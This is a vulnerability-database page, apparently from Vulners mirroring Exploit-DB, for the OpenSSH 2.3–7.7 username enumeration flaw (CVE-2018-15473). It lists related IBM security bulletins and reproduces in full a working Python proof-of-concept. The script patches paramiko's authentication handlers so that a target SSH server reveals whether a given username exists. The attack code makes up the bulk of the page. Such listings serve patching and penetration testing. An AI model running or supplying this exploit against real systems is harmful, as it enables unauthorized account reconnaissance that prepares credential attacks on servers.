Lucene search
+L

OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)

🗓️ 16 Aug 2018 00:00:00Reported by Matthew DaleyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1705 Views

OpenSSH Username Enumeration (PoC) Python script to exploit username enumeration vulnerability in OpenSSH 2.3 < 7.

Related
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Identity Manager Virtual Appliance is affected by multiple vulnerabilities (CVE-2019-4674, CVE-2018-15473, CVE-2019-4675)
3 Feb 202018:50
ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in OpenSSH affects IBM Integrated Analytics System
6 May 202011:00
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Integrated Management Module II (IMM2) is affected by vulnerabilities in OpenSSH
7 Dec 202322:45
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple Security Vulnerabilities have been addressed in IBM Security Access Manager Appliance
30 Sep 201921:15
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM MQ Appliance is affected by an OpenSSH vulnerability (CVE-2018-15473)
27 Jan 202010:35
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Dynamic System Analysis (DSA) Preboot is affected by vulnerabilities in OpenSSH
7 Dec 202322:45
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Directory Suite vulnerable to information disclosure (CVE-2018-15473)
2 Nov 202019:50
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM has announced a release for IBM Security Identity Governance and Intelligence in response to OpenSSH vulnerabilty (CVE-2018-15473).
31 Mar 202022:53
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Guardium is affected by an OpenSSH vulnerability
12 Nov 201915:42
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM BladeCenter Advanced Management Module (AMM) is affected by vulnerability in OpenSSH (CVE-2018-15473)
11 Apr 201921:15
ibm
Rows per page
#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2018 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 25
CVSS 3.15.3 - 5.9
EPSS0.98631
SSVC
1705